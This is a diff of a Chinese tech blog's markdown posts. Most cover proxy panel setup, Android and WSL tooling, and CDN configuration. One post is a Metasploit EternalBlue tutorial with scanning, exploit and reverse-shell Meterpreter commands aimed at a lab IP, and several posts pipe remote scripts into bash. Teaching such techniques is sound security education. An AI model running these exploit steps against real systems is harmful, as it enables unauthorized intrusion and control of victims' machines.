<port protocol="udp" port="ORPort端口"/>
@ -126,6 +138,7 @@ vim /etc/firewalld/zones/public.xml
```
使防火墙配置生效:
```bash
firewall-cmd --complete-reload
```

View File

@ -21,6 +21,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma
v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
@ -29,6 +30,7 @@ systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
apt-get install -y ntp
systemctl enable ntp
@ -36,6 +38,7 @@ systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
@ -45,7 +48,9 @@ ntpdate time.nist.gov
## 四、面板节点配置
### 添加节点
在后台 > 节点管理 > 添加节点:
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填cf的ip或者伪装的域名
@ -54,6 +59,7 @@ ntpdate time.nist.gov
- 传输协议选择websocket
### 配置协议
```json
{
"path": "/随便",
@ -112,10 +118,13 @@ CertConfig:
```
## 六、启动 XrayR
```bash
xrayr start
```
或者
```bash
XrayR
```

View File

@ -7,6 +7,7 @@ tags: ["v2board"]
确保v2board版本在1.2.5及以上
## 一、安装与更新
```bash
bash <(curl -Ls https://raw.githubusercontent.com/sprov065/soga/master/install.sh)
```
@ -16,6 +17,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/sprov065/soga/master/install.s
v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接。
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
@ -24,6 +26,7 @@ systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
apt-get install -y ntp
systemctl enable ntp
@ -31,6 +34,7 @@ systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
@ -40,7 +44,9 @@ ntpdate time.nist.gov
## 三、面板节点配置
### 添加节点
在面板后台 > 节点管理 > 添加节点:
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填v2borad的域名或ip
@ -48,6 +54,7 @@ ntpdate time.nist.gov
- 传输协议选择websocket
### 配置协议
```json
{
"lsy": "/"
@ -57,20 +64,25 @@ ntpdate time.nist.gov
## 四、配置 soga
### 查看配置
```bash
soga config
```
### 自动配置
可以一行填写任意数量的配置信息,示例:
```bash
soga config type=v2board server_type=v2ray
```
### 编辑配置文件
配置文件位置:`/etc/soga/soga.conf`
基础配置示例:
```ini
type=v2board ## 对接的面板类型可选SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
server_type=v2ray ## 对接的节点类型可选V2ray, Shadowsocks, Trojan
@ -98,10 +110,13 @@ default_dns=8.8.8.8,1.1.1.1 ## 配置默认dns可在此配置流媒体解锁
```
## 五、启动 soga
```bash
soga start
```
或者
```bash
soga
```

View File

@ -34,6 +34,7 @@ tags: ["v2board"]
- 父节点:选择创造好的节点
- 传输协议选择websocket
- 配置协议:
```json
{
"path": "/随便",

View File

@ -9,6 +9,7 @@ tags: ["v2board"]
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
@ -24,6 +25,7 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
系统状态 - xray 状态 - 切换版本 - 切换为最新版本
配置节点:
- 入站列表 - 添加入站
- 端口443
- reality开启

View File

@ -5,9 +5,11 @@ tags: ["v2ray"]
---
## 一、v2ray官方安装
```bash
bash <(curl -s -L https://git.io/v2ray.sh)
```
## 二、v2ray-agent安装
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)

View File

@ -1,35 +1,33 @@
---
title: "一键搭建Telegram的MTProto代理"
date: 2021-08-09T00:07:00+08:00
tags: ["telegram", "mtproto"]
tags: []
---
## 一、同步时间
1.同步时间
------
CentOS 7
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
ntpdate -q 0.rhel.pool.ntp.org
systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
Debian 9 / Ubuntu 16
apt-get install -y ntp
systemctl enable ntp
systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
或者(时间同步为上海)
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov
```
## 二、一键安装
```bash
2.一键安装
------
mkdir /home/mtproxy && cd /home/mtproxy
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh
```

View File

@ -1,38 +1,44 @@
---
title: "安装谷歌三件套服务框架"
date: 2023-07-12T23:39:00+08:00
tags: ["google", "android"]
tags: []
---
## 一、Google服务框架
三件套包含:
下载地址:[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
- Google服务框架
- Google Play Service
- Google Play Store
### 安装说明
1. 首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。
## Google服务框架
## 二、Google Play Service
下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/`
下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/)
首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
### 安装说明
1. 首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
## 三、Google Play Store
## Google Play Service
下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/)
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/`
### 安装说明
1. 首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。
首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择noDPI的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Store
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/`
首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**

View File

@ -13,6 +13,7 @@ tags: ["v2board"]
安装完成后我们登陆宝塔进行环境的安装。
选择使用LNMP的环境安装方式勾选如下信息
- ☑️ Nginx 1.17
- ☑️ MySQL 5.6
- ☑️ PHP 7.3
@ -30,6 +31,7 @@ tags: ["v2board"]
## 四、添加站点
宝塔面板 > 网站 > 添加站点:
- 在域名填入你的域名
- 在数据库中选择MySQL
- 在 PHP 版本中选择 PHP-73
@ -37,22 +39,26 @@ tags: ["v2board"]
## 五、安装V2Board
### 进入站点目录
```bash
cd /www/wwwroot/你的站点域名
```
### 删除目录下文件
```bash
chattr -i .user.ini
rm -rf .htaccess 404.html index.html .user.ini
```
### 从 Github 克隆到当前目录
```bash
git clone https://github.com/v2board/v2board.git ./
```
### 安装依赖包以及V2board
```bash
sh init.sh
```
@ -61,6 +67,7 @@ sh init.sh
1. 添加完成后编辑添加的站点 > 站点目录 > 运行目录,选择 /public 保存。
2. 添加完成后编辑添加的站点 > 伪静态,填入:
```nginx
location /downloads {
}
@ -80,10 +87,12 @@ sh init.sh
## 七、配置定时任务
宝塔面板 > 计划任务,配置:
- 任务类型:选择 Shell 脚本
- 任务名称:填写`v2board`
- 执行周期:选择`N 分钟 1 分钟`
- 脚本内容:
```php
php /www/wwwroot/路径/artisan schedule:run
```
@ -95,6 +104,7 @@ sh init.sh
V2board的邮件系统强依赖队列服务你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装安装完成后点击设置 > 添加守护进程,按照如下填写:
- 名称:填写 `V2board`
- 运行目录:选择站点目录
- 启动命令:填写 `php artisan horizon`
@ -105,9 +115,10 @@ V2board的邮件系统强依赖队列服务你想要使用邮件验证及群
## 常见问题
### 500错误
可能的原因:
1. 检查站点根目录权限递归755保证目录有可写文件的权限。
2. Redis扩展没有安装或者Redis没有安装造成的。
3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
4. 重启php7.3。

View File

@ -34,18 +34,19 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
2. 进入框架
```bash
msfconsole
```
3. 初始化
```bash
init
```
### 四. 寻找主机
* **ipconfig**
@ -57,14 +58,12 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
nmap -T5 -sP 192.168.97.0/24
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| **IP地址**<br /> | | | |
| IP地址 | 私有ip范围 | 子网掩码 | CIDR |
| --------- | :----------------------------- | :-------------- | :--------------- |
| | 私有ip范围 | 子网掩码 | CIDR |
| A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
@ -77,9 +76,9 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
nmap -T5 -sT 192.168.97.128
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
* **MSF** 端口扫描
1. 使用模块
@ -87,11 +86,13 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
```bash
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描ip
```bash
set rhosts 192.168.97.128
```
3. 运行
```bash
@ -141,21 +142,25 @@ search ms17_010
```bash
use 24
```
2. 查看需要配置的参数
```bash
show options
```
3. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
4. 运行
```bash
run
```
* nmap
```bash
@ -169,23 +174,25 @@ search ms17_010
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
2. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
3. 设置连接方式为反向连接
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
4. 运行
```bash
run
```
### Meterpreter的命令用法
```bash
@ -361,30 +368,31 @@ timestomp 操作文件 MACE 属性
### 使用发放
#### 基础使用
#### 基础使用
* 进入框架
```bash
msfconsole
```
* 查找漏洞
```bash
search 漏洞编号
```
* 使用模块
```bash
run
```
#### Meterpreter工作原理
#### Meterpreter工作原理
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接或者反弹 reverse 连接。反射连接的时候加载dll链接文件同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后Meterpreter加载扩展所有的扩展被加载都通过TLS/1.0进行数据传输。
#### 漏洞利用(exploit)
#### 漏洞利用(exploit)
> 漏洞利用exploit也就是我们常说的exp他就是对漏洞进行攻击的代码。
@ -394,19 +402,19 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
/usr/share/metasploit-framework/modules/exploits
```
#### 攻击载荷(payload)
#### 攻击载荷(payload)
> PayloadPayload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码而在Metasploit中Payload是一种特殊模块它们能够以漏洞利用模块运行并能够利用目标系统中的安全漏洞实施攻击。简而言之这种漏洞利用模块可以访问目标系统而其中的代码定义了Payload在目标系统中的行为。
>
> ShellcodeShellcode是payload中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下目标系统执行了shellcode这一组指令之后才会提供一个命令行shell。
##### payload模块路径
##### payload模块路径
```php
/usr/share/metasploit-framework/modules/payloads
```
##### Metasploit中的 Payload 模块主要有以下三种类型
##### Metasploit中的 Payload 模块主要有以下三种类型
* Single
@ -421,23 +429,26 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
> 是Stager Payload下的一种Payload组件这种Payload可以提供更加高级的功能而且没有大小限制。
>
##### 几种常见的payload
##### 几种常见的payload
* 正向连接
```bash
windows/meterpreter/bind_tcp
```
* 反向连接
```bash
windows/meterpreter/reverse_tcp
```
* 过监听80端口反向连接
```bash
windows/meterpreter/reverse_http
```
* 通过监听443端口反向连接
```bash

View File

@ -6,7 +6,7 @@ tags: ["rust", "webassembly"]
## 文件结构
```
```text
wasm-project/
├── Cargo.toml # Rust包的配置文件
@ -33,12 +33,14 @@ wasm-project/
1. **安装Rust**
确保你已安装Rust环境可以通过以下命令来确认是否安装成功
```bash
rustc --version
```
2. **安装wasm-pack**
`wasm-pack`用于将Rust代码编译为WebAssembly格式。通过以下命令安装
```bash
cargo install wasm-pack
```
@ -50,12 +52,14 @@ wasm-project/
1. **构建一个新的Rust包**
在项目目录下创建一个新的Rust库项目
```bash
cargo new --lib wasm
```
2. **配置** **`Cargo.toml`**
2. **配置** **`Cargo.toml`**
修改`Cargo.toml`来添加WebAssembly的依赖和输出配置
```toml
[package]
name = "wasm"
@ -69,8 +73,9 @@ wasm-project/
crate-type = ["cdylib", "rlib"]
```
3. **编写Rust文件** **`src/lib.rs`**
3. **编写Rust文件** **`src/lib.rs`**
使用`wasm-bindgen`库将Rust函数暴露给JavaScript。编写如下代码
```rust
extern crate wasm_bindgen;
use wasm_bindgen::prelude::*;
@ -88,27 +93,32 @@ wasm-project/
4. **将Rust代码编译为WebAssembly**
使用`wasm-pack`进行编译:
```bash
wasm-pack build
```
编译后的WebAssembly文件将生成在`pkg/`目录下。
## 三、打包代码
1. **初始化npm项目**
创建一个`package.json`文件:
```bash
npm init -y
```
2. **安装Webpack及相关工具**
安装Webpack及开发服务器用于打包和本地运行JavaScript与WebAssembly
```bash
npm install --save-dev webpack webpack-cli webpack-dev-server
```
3. **编写JavaScript调用代码** **`src/index.js`**
3. **编写JavaScript调用代码** **`src/index.js`**
在`index.js`中调用由Rust编译出的WebAssembly模块
```javascript
const js = import("../pkg/wasm");
@ -117,8 +127,9 @@ wasm-project/
});
```
4. **编写Webpack配置文件** **`webpack.config.js`**
4. **编写Webpack配置文件** **`webpack.config.js`**
该配置文件用于打包项目并支持WebAssembly异步加载
```javascript
module.exports = {
entry: './src/index.js',
@ -139,14 +150,16 @@ wasm-project/
5. **打包JavaScript文件**
使用Webpack打包项目
```bash
npx webpack
```
## 四、运行代码
1. **编写HTML文件** **`src/index.html`**
1. **编写HTML文件** **`src/index.html`**
在HTML文件中引入打包后的`main.js`
```html
<!DOCTYPE html>
<html lang="en">

View File

@ -4,13 +4,16 @@ date: 2023-12-25T12:07:21+08:00
tags: []
---
## 域名绑定
1. 绑定到需要加速的服务器(源站)
2. 配置到cdn平台(加速域名)
## 配置
以[多吉云](https://www.dogecloud.com/)为例(毕竟免费 20G还能设置封顶策略)
进入域名管理添加域名
- 加速域名:(加速域名)
- 回源域名填写:(源站)
- 回源host选择:与回源域名一致

View File

@ -15,6 +15,6 @@ tags: []
我要使用`proxy.example.com`作为Workers域名且要访问全部内容
```
```text
proxy.example.com/*
```

View File

@ -5,6 +5,7 @@ tags: []
---
## 1. 创建自动刷新脚本
在项目根目录创建一个文件名为 `RefreshCDN.py`。修改下列代码中的密钥和域名为你自己的信息。
```python
@ -61,6 +62,7 @@ else:
```
## 2. 创建 GitHub Actions 脚本
在项目根目录创建 `.github/workflows` 目录(如果还没有的话),并在该目录下新建 `RefreshCDN.yml`
```yaml

View File

@ -806,7 +806,7 @@ echo 'ok';
define('__TYPECHO_SECURE__',true);
```
<!--more-->
{/* more */}
## Handsome文件
============================

View File

@ -5,26 +5,32 @@ tags: []
---
## 百度站长平台
百度搜索引擎是国内最主流的搜索引擎当然百度站长平台也是站长们使用最多的平台功能很齐全网站各个方面的数据都显示的很到位能够很好地辅助站长们进行SEO优化。
[百度搜索引擎][1]是国内最主流的搜索引擎当然百度站长平台也是站长们使用最多的平台功能很齐全网站各个方面的数据都显示的很到位能够很好地辅助站长们进行SEO优化。
## 搜狗站长平台
搜狗站长平台和百度相比就显得略逊一些只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度但目前搜狗站长平台还是很少更新站长学院的公告在17年之后就没有更新了。
[搜狗站长平台][2]和百度相比就显得略逊一些只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度但目前搜狗站长平台还是很少更新站长学院的公告在17年之后就没有更新了。
## 360站长平台
360站长平台在国内勉强排上第二和百度相比360的功能还不够完善算法也是偶尔更新一次而且不知道你有没有发现360收录干货文章特别难这也让很多站长放弃了360优化。
[360站长平台][3]在国内勉强排上第二和百度相比360的功能还不够完善算法也是偶尔更新一次而且不知道你有没有发现360收录干货文章特别难这也让很多站长放弃了360优化。
## 神马站长平台
神马搜索引擎针对的是移动用户,最近的夸克浏览器大家应该都听说过吧,夸克内置搜索引擎就是神马,属于阿里的产品,虽然推出了站长平台,但是大头感觉并没有什么用...
[神马搜索引擎][4]针对的是移动用户,最近的夸克浏览器大家应该都听说过吧,夸克内置搜索引擎就是神马,属于阿里的产品,虽然推出了站长平台,但是大头感觉并没有什么用...
## 必应站长平台
必应是微软旗下的搜索引擎记得以前更新W10的时候浏览器自带的就是必应搜索引擎国内用户很少估计有的人听都没听过。
[必应][5]是微软旗下的搜索引擎记得以前更新W10的时候浏览器自带的就是必应搜索引擎国内用户很少估计有的人听都没听过。
## 头条站长平台
头条搜索是最近搜索行业杀出来的一匹黑马,目前还处于测试阶段,有些功能还不够完善,不过头条可是自媒体大佬,所以站长们对头条站长平台抱有很大的希望。
[头条搜索][6]是最近搜索行业杀出来的一匹黑马,目前还处于测试阶段,有些功能还不够完善,不过头条可是自媒体大佬,所以站长们对头条站长平台抱有很大的希望。
## 谷歌站长平台
谷歌站长平台跟百度一样功能都很完善,算法也是经常更新,但不知道什么原因谷歌推出了国内市场,国人访问谷歌搜索引擎也会被墙
[谷歌站长平台][7]跟百度一样功能都很完善,算法也是经常更新,但不知道什么原因谷歌推出了国内市场,国人访问谷歌搜索引擎也会被墙
[1]: https://ziyuan.baidu.com/
[2]: http://zhanzhang.sogou.com/

View File

@ -22,8 +22,8 @@ tags: ["服务器探针", "cloudflare"]
先打开:[GitHub OAuth Apps](https://github.com/settings/developers),然后点击 New OAuth App 按钮:
- **Application name:** 名字随便
- **Homepage URL:** 面板的域名,例如 https://lsy.plus
- **Authorization callback URL:** 面板的域名 + `/oauth2/callback`,例如 https://lsy.plus/oauth2/callback
- **Homepage URL:** 面板的域名,例如 `https://lsy.plus`
- **Authorization callback URL:** 面板的域名 + `/oauth2/callback`,例如 `https://lsy.plus/oauth2/callback`
然后在这个页面点击 Generate a new client secret 创建你的 client secrets。
@ -31,23 +31,28 @@ tags: ["服务器探针", "cloudflare"]
需要放行 `8008`、`5555` 两个端口,这是默认的,如果你程序中改为其他的,防火墙放行相应的端口。
#### 部署面板服务
#### 部署面板服务
github镜像
```bash
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
./nezha.sh
```
国内机器可以使用:
```bash
curl -L https://raw.sevencdn.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
CN=true ./nezha.sh
```
运行后选择安装面板端回复数字,接着输入前面记录下来的 GitHub 账号 ID、OAuth Apps 的 Client ID、OAuth Apps 的 Client secrets。
到这里面板服务算是完成了大部分了。可以访问 http://域名:8008 查看,用你的 GitHub 账号验证登录。
到这里面板服务算是完成了大部分了。可以访问 `http://域名:8008` 查看,用你的 GitHub 账号验证登录。
#### 宝塔配置反代
#### 宝塔配置反代:
```nginx
location / {
proxy_pass http://127.0.0.1:8008;
@ -70,12 +75,14 @@ proxy_set_header Connection "Upgrade";
proxy_set_header Host $host;
}
```
配置 SSL 就不用说了,常规建站怎么配置,这个就怎么配置。如果没有问题,就可以通过 https://域名/ 来访问了。改好之后就可以对 8008 端口取消放行了。
关于套 CDN就和常规建站一样比如将 tz.a0s.cc 解析到 CDN 服务商,回源地址填部署面板的服务器 IP但要注意 CDN 需要支持 WebSocket 协议。
配置 SSL 就不用说了,常规建站怎么配置,这个就怎么配置。如果没有问题,就可以通过 `https://域名/` 来访问了。改好之后就可以对 8008 端口取消放行了。
关于套 CDN就和常规建站一样比如将 `tz.a0s.cc` 解析到 CDN 服务商,回源地址填部署面板的服务器 IP但要注意 CDN 需要支持 WebSocket 协议。
### 四、关于客户端(被监控机器)需要的操作
通过 lsy.plus 登录后台如果没配置反代、SSL那它将是 [http://lsy.plus:8008]。用你的 GitHub 账号验证登录后跳转到 [lsy.plus]。后台添加主机。
通过 `lsy.plus` 登录后台如果没配置反代、SSL那它将是 `http://lsy.plus:8008`。用你的 GitHub 账号验证登录后跳转到 `http://lsy.plus`。后台添加主机。
到需要被监控的机器执行脚本,点击小企鹅图标,会自动复制代码,到被控主机执行就行了。
@ -92,22 +99,27 @@ proxy_set_header Host $host;
### 二、设置 NSSM
管理员启动 CMD输入
```bash
nssm install <servername>
```
>如: nssm install nezha
>
弹出 UI设置如下
```bash
Path: 选择哪吒探针客户端
Startup directory: 选择了客户端会自动填充
Arguments: 启动参数
```
启动参数格式为:
```bash
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
```
>例如:
>
>-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
@ -115,6 +127,7 @@ Arguments: 启动参数
>自己对应修改,填写完毕后,点击 Install Servce。
### 三、启动服务
此时退回到 CMD 界面,`nssm start nezha`
然后按 Win + R 打开运行窗口,输入 `services.msc`
@ -124,31 +137,41 @@ Arguments: 启动参数
### 四、nssm 命令参考
#### 安装服务命令
```bash
nssm install <servicename>
nssm install <servicename> <program>
nssm install <servicename> <program> [<arguments>]
```
#### 删除服务
```bash
nssm remove
nssm remove <servicename>
nssm remove <servicename> confirm
```
#### 启动、停止服务
```bash
nssm start <servicename>
nssm stop <servicename>
nssm restart <servicename>
```
#### 查询服务状态
```bash
nssm status <servicename>
```
#### 服务控制命令
```bash
nssm pause <servicename>
nssm continue <servicename>
nssm rotate <servicename>
```
有多台被监控机器时,按照此步骤在控制面板添加服务器

View File

@ -32,3 +32,4 @@ tags: ["cloudflare"]
31|tcp|443|accept|103.22.200.0/22|103.22.200.0/22|2023-07-10 19:57:30||0|
30|tcp|443|accept|103.21.244.0/22|103.21.244.0/22|2023-07-10 19:57:10||0|
6|tcp|443|accept|173.245.48.0/20|173.245.48.0/20|2023-07-10 19:56:47||0|
```

View File

@ -23,4 +23,5 @@ tags: []
Header("Location: $dir/$image");
?>
```
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时它都会随机选择一个图片文件并重定向到该图片的URL。

View File

@ -5,45 +5,56 @@ tags: [ "服务器探针" ]
---
## 食用方式
PS以下使用方式二方式一直接运行傻瓜安装即可
### 脚本进行安装会要求安装Caddy与Nginx不能同时安装有能力的自行DIY
```bash
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
bash status.sh
```
### 手动编译安装可搭配宝塔使用Nginx提供服务
#### 下载ServerStatus-USee
```bash
git clone https://gitee.com/useenet/serverTZ.git
mv serverTZ /usr/serverTZ
```
## 安装服务端
### 使用宝塔创建一个空网页PS域名框使用域名或IP均可
### 复制监控展示页到宝塔新建的网站目录中
```bash
cp -r /usr/serverTZ/web/* /www/wwwroot/自己的站点
```
### 进入服务端配置目录
```bash
cd /usr/serverTZ/server
```
### 安装环境并进行编译
```bash
apt-get install gcc gcc-c++ kernel-devel
make
```
### 配置服务端信息
```bash
vim config.json
```
内容:
```json
{
"servers": [
@ -71,11 +82,12 @@ vim config.json
}
```
### 在宝塔中打开serverTZ默认端口
### 在宝塔中打开serverTZ默认端口
> 35601
### 编辑完成后在server目下进行测试,webdir为web站点路径
```bash
./sergate --config=config.json --web-dir=/www/wwwroot/站点
```
@ -87,11 +99,13 @@ vim config.json
关闭之前进程,进入`/usr/serverTZ/systemd/`
> ctrl + c
```bash
cd /usr/serverTZ/systemd/
```
注册过程,系统服务文件我已经编辑好,直接使用即可
```bash
chmod +x serverTZs.service
cp serverTZs.service /lib/systemd/system
@ -106,30 +120,36 @@ systemctl enable serverTZs.service
> #启动服务端并设置开机自启
### 在配置文件中增加服务器主机后重启
```bash
systemctl restart serverTZs.service
```
## 安装客户端
此处在服务端中部署客户端监控本机为例
### 下载、更名、移动目录到指定文件夹
```bash
git clone https://gitee.com/useenet/serverTZ.git
mv serverTZ /usr/serverTZ
```
### 进入客户端配置目录
```bash
cd /usr/serverTZ/clients
```
### 检查已安装的python版本,版本需要2.7及以上
```python
python -V
```
若无执行客户端运行环境
```bash
apt-get install epel-release python-pip
apt-get update
@ -138,6 +158,7 @@ pip install psutil
```
### 修改客户端配置文件
```bash
vim status-client.py
```
@ -151,20 +172,23 @@ INTERVAL = 1 #更新间隔
```
### 运行测试
```python
python status-client.py
```
### 将进程注册为系统服务
### 将客户端进程注册为系统服务
### 关闭之前进程,进入`/usr/serverTZ/systemd/`
> ctrl + c
```bash
cd /usr/serverTZ/systemd/
```
注册过程,系统服务文件我已经编辑好,直接使用即可
```bash
chmod +x serverTZc.service
cp serverTZc.service /lib/systemd/system
@ -179,6 +203,7 @@ systemctl enable serverTZc.service
> #启动服务端并设置开机自启
在配置文件中增加服务器主机后重启
```bash
systemctl restart serverTZc.service
```

View File

@ -25,6 +25,7 @@ tags: []
解决方法一:使用独立安装包安装,例如使用 PS CC 2017 的安装包直接安装。
解决方法二:
1. 在弹出页面之后,别关闭,打开任务管理器,你会看到这个进程(同时有一个 Adobe IPC 的分进程)。
2. 找到 Cloud右键打开文件所在位置。
3. 关闭这个对话框,然后删除文件夹里 `Adobe Desktop Service` 名字的 `EXE` 文件。

View File

@ -28,7 +28,7 @@ tags: []
3. 选择适合您系统架构的最新版本的 WSA 安装包(通常为 `.Msixbundle` 后缀),并下载。
> 注意:忽略带有 BlockMap 后缀的文件。
>
4. 也可访问 [MustardChef 的 GitHub 页面](https://github.com/MustardChef/WSABuilds) 下载经过修改的 WSA 安装包。
### 二、安装 WSA 环境
@ -89,6 +89,7 @@ wsl --set-default-version 2
```bash
wsl --list
```
2. 切换root用户
```bash
@ -109,6 +110,7 @@ wsl --set-default-version 2
[automount]
enabled = false
```
* **解决无法定位 package screen 的问题**
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
* **WSL 卸载**
@ -117,9 +119,11 @@ wsl --set-default-version 2
```bash
wsl --unregister 指定的Linux分发版
```
* **解决 WSLRegisterDistribution 错误**
在 PowerShell 中运行
```bash
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
```

View File

@ -18,6 +18,7 @@ tags: []
(1) SDK Platform Tools下载后在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
(2) 添加环境变量:
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
@ -28,7 +29,6 @@ tags: []
去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en
[2]: https://lsy22.lanzoui.com/iFIUqsjzyvc
[3]: https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn

View File

@ -57,7 +57,7 @@ python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
镜像需要用到 qemu-img 工具
下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
#### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
